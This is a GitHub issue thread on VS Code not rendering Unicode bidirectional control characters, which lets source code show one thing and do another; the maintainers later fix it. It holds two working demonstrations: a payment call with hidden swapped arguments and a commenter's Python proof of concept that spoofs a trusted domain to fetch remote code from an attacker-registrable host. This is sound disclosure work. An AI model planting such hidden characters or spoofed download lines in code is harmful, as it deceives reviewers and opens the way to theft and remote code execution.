Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Important control characters aren't rendered when "editor.renderControlCharacters" is set, possibly leading users astray #116939

Closed
fj opened this issue Feb 18, 2021 · 7 comments
Assignees
Labels
bug Issue identified by VS Code Team member as probable bug candidate Issue identified as probable candidate for fixing in the next release editor-rendering Editor rendering issues editor-RTL Editor Right-To-Left or Bi-Di issues insiders-released Patch has been released in VS Code Insiders verified Verification succeeded
Milestone

Comments

@fj
Copy link

fj commented Feb 18, 2021

Issue Type: Bug

Problem

Imagine you're looking at some code in VS Code:

function transferBalance(sender_id, recipient_id, amount, currency) { ⋯ }

transferBalance(5678,‮6776,4321‬,"USD");

Ostensibly, this transfers 6,776 USD from sender 5678 to recipient 1234. Right?

Unfortunately, no. Instead, this code hides malicious intent: it actually transfers 4,321 USD from sender 5678 to recipient 6776, stealing sender 5678's money. How is this possible?

Explanation

It's because this code is hiding two special Unicode control characters: U+202E ("right-to-left override") and U+202C ("pop directional formatting"). With explicit insertions, it looks like this:

                             malicious!
                             ▼▼▼▼▼▼▼▼▼
transferBalance(5678,<U+202E>6776,4321<U+202C>,"USD");
                     ▲▲▲▲▲▲▲▲         ▲▲▲▲▲▲▲▲
                     🕵sneaky!        🕵sneaky!

In other words, this gives the code the visual appearance of sending 6776 USD to recipient 1234, but that's not what the actual underlying text says; it says to transfer 4,321 USD to recipient 6776. Our editor — what we trust to show us text correctly — has led us into the wrong conclusion.

We can see that the actual bytes of the string in the code example do indeed have these control characters:

Screenshot from 2021-02-18 06-07-48

Normally the way around this sort of sneakiness is to use View > Show Control Characters. But if you copy the string from the example into VS Code, you won't see these control characters. They aren't rendered at all. How can we make sure these special characters get rendered?

Likely root cause

The bug is in src/vs/editor/common/viewLayout/viewLineRenderer.ts: it assumes a definition of "control character" that amounts to "anything whose character code as determined by String.charCodeAt is in the range U+0000⋯U+001F".

https://github.com/microsoft/vscode/blob/main/src/vs/editor/common/viewLayout/viewLineRenderer.ts#L960-L961

That assumption is incorrect, or at least too narrow to cover this case.

A possible fix

The right definition for control character for purposes of VS Code is probably, at a minimum, "anything in the Cc and Cf Unicode general categories", and not the current definition.


VS Code version: VSCodium 1.52.1 (ea3859d, 2020-12-17T00:37:39.556Z)
OS version: Linux x64 5.8.0-7642-generic

System Info
Item Value
CPUs Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz (12 x 4000)
GPU Status 2d_canvas: enabled
flash_3d: enabled
flash_stage3d: enabled
flash_stage3d_baseline: enabled
gpu_compositing: enabled
multiple_raster_threads: enabled_on
oop_rasterization: disabled_off
opengl: enabled_on
protected_video_decode: unavailable_off
rasterization: disabled_software
skia_renderer: enabled_on
video_decode: unavailable_off
vulkan: disabled_off
webgl: enabled
webgl2: enabled
Load (avg) 2, 1, 2
Memory (System) 62.53GB (8.13GB free)
Process Argv --no-sandbox --unity-launch
Screen Reader no
VM 0%
DESKTOP_SESSION jxf
XDG_CURRENT_DESKTOP Unity
XDG_SESSION_DESKTOP jxf
XDG_SESSION_TYPE x11
Extensions (13)
Extension Author (truncated) Version
toml be5 0.4.0
vscode-todo-plus fab 4.17.1
vscode-hugo-snippets fiv 0.4.1
markmap-vscode ger 0.0.7
vscode-journal-view Gru 0.0.26
terraform has 2.6.0
solidity Jua 0.0.106
vsliveshare ms- 1.0.3121
vscode-journal paj 0.10.0
rust rus 0.7.8
crates ser 0.5.6
vscode-mindmap Sou 0.0.5
material-theme zhu 3.9.15

(1 theme extensions excluded)

@fj fj changed the title Important control characters aren't rendered when "editor.renderControlCharacters" is set Important control characters aren't rendered when "editor.renderControlCharacters" is set, possibly leading users astray Feb 18, 2021
@yume-chan
Copy link
Contributor

Duplicate of #58252

There are some extension suggestions in #58252 (comment) you can give a try.

@fj
Copy link
Author

fj commented Feb 19, 2021

Duplicate of #58252

I don't think this is a duplicate. That issue is about invisible characters, which are different than control characters. For example, a nonbreaking space (U+00A0) is an invisible character but not a control character. It is in Unicode category Zs and not Cc or Cf.

This issue is specifically about the issue that VS Code has a setting called "render control characters" which does not render control characters; it fails to render the Cf category of Unicode control characters.

@alexdima alexdima added editor-rendering Editor rendering issues feature-request Request for new features or functionality labels Feb 19, 2021
@alexdima alexdima removed their assignment Feb 19, 2021
@fj
Copy link
Author

fj commented Mar 1, 2021

@alexdima Right now this is classified as a feature-request; is this actually a bug from your point of view?

@alexdima
Copy link
Member

The code has been written in mind with "Control Characters" meaning "ASCII Control Characters". So the code itself does not have a bug. It renders ASCII Control Characters correctly using the special Control Pictures characters i.e. https://www.unicode.org/charts/PDF/U2400.pdf

I think you have written a very good and convincing issue, and I agree with you that this is super deceiving. But IMHO the issue is about expanding the initial definition of Control Characters to contain more than ASCII Control Characters, possibly all Unicode Control Characters. So that's why I marked the issue as a feature request, because it is something somewhat new that must be implemented.

@kevin-he-01
Copy link

kevin-he-01 commented Jul 8, 2021

I will present here a more convincing argument to why this feature request should be implemented.
Let's say you trust a domain. Let the domain be www.google.com for this one, and you have a Python script that downloads and execute code from the server at the domain. This can be used e.g. to update a software.

#! /usr/bin/env python3
# POC Exploit for https://github.com/microsoft/vscode/issues/116939
import string

DOMAIN_NAME_CHARS = string.ascii_lowercase + string.digits + '-.'

def download_and_execute_code(trusted_host: str):
    # a crude domain name character filter to prevent injection attacks
    host_badchar_filtered = ''.join((c for c in trusted_host if c in DOMAIN_NAME_CHARS))
    url = 'https://{}/trusted_installer.py'.format(host_badchar_filtered)
    print('Downloading from {}'.format(url))
    # The rest is left as an exercise for the reader
    # Hint: Use the `exec` builtin: https://docs.python.org/3/library/functions.html#exec
    # as well as the `requests` library: https://docs.python-requests.org/en/master/

# Example using Google. Note this is a demo and the requested file doesn't actually exist on Google servers
# Benign code
# download_and_execute_code('www.google.com')

# EVIL code
download_and_execute_code('www.goo‮elg‬.com')

The second line (EVIL code) looks identical to the "Benign code" above, but makes the script download from www.gooelg.com instead. Console output:

Downloading from https://www.gooelg.com/trusted_installer.py

If the code is executed the attacker in control of www.gooelg.com can run arbitrary code on a victim's computer, including indefinite cryptocurrency stealing and persistence via firmware rootkits once sufficient privilege is gained.

As of the time of writing the domain is available:

image

This demonstrates how easy someone can carry out this attack.

@alexdima alexdima added the editor-RTL Editor Right-To-Left or Bi-Di issues label Aug 12, 2021
@alexdima alexdima added bug Issue identified by VS Code Team member as probable bug candidate Issue identified as probable candidate for fixing in the next release and removed feature-request Request for new features or functionality labels Nov 3, 2021
@alexdima alexdima modified the milestones: Backlog, October 2021 Nov 3, 2021
@alexdima alexdima self-assigned this Nov 3, 2021
alexdima added a commit that referenced this issue Nov 3, 2021
…rendering control characters. Also turn on `editor.renderControlCharacters` by default.
@aeschli aeschli added the verified Verification succeeded label Nov 3, 2021
@github-actions github-actions bot locked and limited conversation to collaborators Dec 18, 2021
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
bug Issue identified by VS Code Team member as probable bug candidate Issue identified as probable candidate for fixing in the next release editor-rendering Editor rendering issues editor-RTL Editor Right-To-Left or Bi-Di issues insiders-released Patch has been released in VS Code Insiders verified Verification succeeded
Projects
None yet
Development

No branches or pull requests

6 participants
@fj @yume-chan @alexdima @aeschli @kevin-he-01 and others